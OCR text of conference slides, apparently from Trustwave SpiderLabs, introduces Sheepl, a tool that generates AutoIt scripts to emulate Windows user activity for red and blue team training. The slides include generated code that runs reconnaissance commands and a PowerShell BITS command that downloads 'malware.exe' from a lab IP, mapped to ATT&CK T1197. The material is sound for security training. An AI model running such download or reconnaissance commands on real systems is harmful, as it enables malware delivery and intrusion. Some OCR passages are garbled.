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Focus on Red Teaming
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Why this tool?

Network Development

Introducing Sheepl

Supporting Red Teaming tradecraft
Supporting Blue Teaming tradecratft
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practice makes perfect
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Automated Windows Inb
Deployment

Trustwave
" S[l;;idve?Labs'

“Next, users often download,
create or generate files such as
doc(x), pdf, zip and ISO files. We
have found no tools applications
available that generate such files.

Furthermore, there are also no
tools available that generates
search browser history, cookie
session or stored web page
credentials.”
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Challenges

Traditional script based approach it’s
hard to guarantee where the input goes

Requires runtimes on the client

timing becomes a PITA
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Goals

Create more realistic user activity

Wanted to focus on tradecraft rather than prediction

Ability to emulate attack and defence

Portable solution — compiled with all the behavior baked in
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Autolt v3 is a freeware BASIC-like scripting
language designed for automating the
Windows GUI and general scripting. It uses
a combination of simulated keystrokes,
mouse movement and window/control
manipulation in order to automate tasks in
a way not possible or reliable with other
languages (e.g. VBScript and SendKeys).
Autolt is also very small, self-contained
and will run on all versions of Windows
out-of-the-box with no annoying
“runtimes” required!
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Written in python3 and generates valid AutolT language
Tasks — creating documents, browsing, command lines
Emulation of key strokes

Amount of time to complete them

Random time intervals

Compiled into a binary that can be run at startup/login
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Two modes — interactive console and JSON profiles

Encapsulated class files for tasking

Extensible per task CMD module
Template stub code built into the tooling

Subtasks for specific modules

Uses just Python3 (3.4+) standard library and AutolT
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Creates log entries
Forensic artifacts

Process for injection / token stealing

Normal network noise




moments of opportunity

Matt Lorentzen — Average Pentester



Interactive Mode



2 R I

el yommoce

K Spideriabs

~Ge® SO



Sheepl Output A Spidertabs

#include <Array.au3>
#include <WinAPl.au3>
#include <Word.au3>

Opt("SendKeyDelay", 40)

; define global task list

Global $aTasks[3] = [[WordDocument_0', 'CommandShell_1', 'PowerShell 2]
; creates Sleep Times array

Global $aSleepTimes[4] = ['3778', '27855', '6257", '22110']

; copies original array just encase the task list borks

$aRandTasks = $aTasks




i Trustwave:

ConsoleWrite("[!] Going round the loop" & @CRLF) 7 SpiderLabs’
For $i In $aRandTasks
; start with a sleep Value

; pops the last shuffled value from the sleep array and assigns

Local $vSleepTime =_ArrayPop($aRandSleepTimes)

Sleep($vSleepTime)
;ConsoleWrite($i & @CRLF)
; gets the current function from the shuffled array
$curfunc = ($i & @CRLF)
ConsoleWrite($curfunc)
; call the function from the shuffled array
Call($i)
;Sleep($vSleepTime)
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WordDocument_0()

Func WordDocument_0()

; Creates a Word Document : c:\users\matt\Desktop\document.doc
Local $oWord = Word_Create()

; Add a new empty document

$oDoc = Word DocAdd($oWord)

WinActivate("[CLASS:OpusApp]")
WinWaitActive("[CLASS:OpusApp]")
SendKeepActive("[CLASS:OpusApp]")
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Send("ipconfig /al{ENTER}") ) SpiderLabs
sleep(183095)

Send("netstat -anto -p tcp{ENTER}")

sleep(8183)

Send("net user{ENTER}")

sleep(2902)

(

(

(

(

Send("net localgroup Administrators{ENTER}")
sleep(8893)

Send("whoami /groups{ENTER}")
sleep(16051)

Send('exit{ENTER})

, Reset Focus

SendKeepActive(")
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Compile Options
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Parent -> Child Processes
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e ———————————
QY Process Explorer - Sysinternals: www.sysinternals.com [SAGAR-WINDOWS 10\ Sagar)

File Options View Process Find Users Help
=N - | 1 { [ ! r
_U PR BOR=IORE. BAF Y M*§ - { || l__! |
Process CPU PovateBytes WokingSet PID Description
2 ' System iSe Process 5.5 2K 8K 0
= 8 System 156 164K 31948K ¢
# ' Ntempts 1% 0K 0K  n/a Hadware Ntemupts and DPCs
T |amss exe S8 K 1264 K 436 Windows Session Manager
8 ' Memory Compresson 244K 352K 1208
s corsa exe 1940K 532K 5392 Chent Server Rurtime Process
S [0 et exe 129%6 K 168K 700 Windows Stat-Lip Applcation
4 [3 | services exe oo SEK 10684K 758 Services and Cortroller app
T bass exe <M 7083 K 169512K 544 Local Secuty Authorty Process
7 fontdrvhost exe 1.7 K 170K 972 Usemnode Fort Dever Most
8 Coes exe 0es 4558 K S.060K 712 Chert Server Rurtime Process
= Twndogon exe 230K 10008 K 796 Windows Logon Applcation
[V lontdrvhost exe on 4388K 9032K 568 Usermode Fort Dever Host
(97 dwm exe 73 L2872K S4804 K 1156 Desktop Window Manager
s oy 024 51563 K 125,152 K_
.*ﬁ l 10586 K 5108 K 7056 Synaptics Ponting Device Helper
- F Auached Din WINDOWS\Explorer EXE 202K 12448 K 7524 Java Update Scheduler
ocheck exe 3080 K 4276 K 11468 Jave Update Checker
.%n- e e ee]  25608K  47.008K 10652 AVG Artvine
Uy GoogleCrashHandier exe 1 1588 K 192K 6628 Google Crash Handler
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MITRE ATT&CK Framework
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MITRE ATT&CK™ is a globally-accessible knowledge base of adversary
tactics and techniques based on real-world observations. The ATTE&CK
knowledge base is used as a foundation for the development of specific
threat models and methodologies in the private sector, in government, and
in the cybersecurity product and service community,

With the creation of ATT&CK, MITRE is fulfilling its mission to solve
problems for a safer world — by bringing communities together to develop
more effective cybersecurity. ATT&CK is open and available to any person or
organization for use at no charge.

ATT&CK"
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Powershell Execution — BITS Jobs ¥ SpiderLabs

MITRE ATT&CK Technique ID (T1197)
BITS Jobs

import-module *bits*

start-bitstransfer 'http://10.10.77.100/malware.exe’ 'c:\users\matt\Desktop\malware.exe'
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Windows Sub
System for Linux

Bash
Kall
Debian
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Road Map

‘raits

'yping ability
Woolpack Language
(which is basically
markdown)

More tasks

Extending web
Interaction




https://github.com/SpiderLabs/sheepl
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